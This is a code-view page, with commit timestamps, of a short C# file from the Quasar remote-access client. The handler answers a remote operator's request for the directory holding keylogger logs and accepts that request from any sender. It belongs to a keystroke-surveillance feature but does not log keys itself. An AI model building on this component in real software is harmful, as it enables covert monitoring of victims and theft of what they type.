Quasar/Quasar.Client/Messages/KeyloggerHandler.cs

29 lines
810 B
C#
Raw Normal View History

2020-05-26 20:43:49 +00:00
using Quasar.Client.Config;
2020-05-25 20:38:41 +00:00
using Quasar.Common.Messages;
using Quasar.Common.Networking;
namespace Quasar.Client.Messages
{
public class KeyloggerHandler : IMessageProcessor
2020-05-25 20:38:41 +00:00
{
public bool CanExecute(IMessage message) => message is GetKeyloggerLogsDirectory;
2020-05-25 20:38:41 +00:00
public bool CanExecuteFrom(ISender sender) => true;
2020-05-25 20:38:41 +00:00
public void Execute(ISender sender, IMessage message)
2020-05-25 20:38:41 +00:00
{
switch (message)
{
2020-05-26 20:43:49 +00:00
case GetKeyloggerLogsDirectory msg:
2020-05-25 20:38:41 +00:00
Execute(sender, msg);
break;
}
}
2020-05-26 20:43:49 +00:00
public void Execute(ISender client, GetKeyloggerLogsDirectory message)
2020-05-25 20:38:41 +00:00
{
2020-05-26 20:43:49 +00:00
client.Send(new GetKeyloggerLogsDirectoryResponse {LogsDirectory = Settings.LOGSPATH });
2020-05-25 20:38:41 +00:00
}
}
}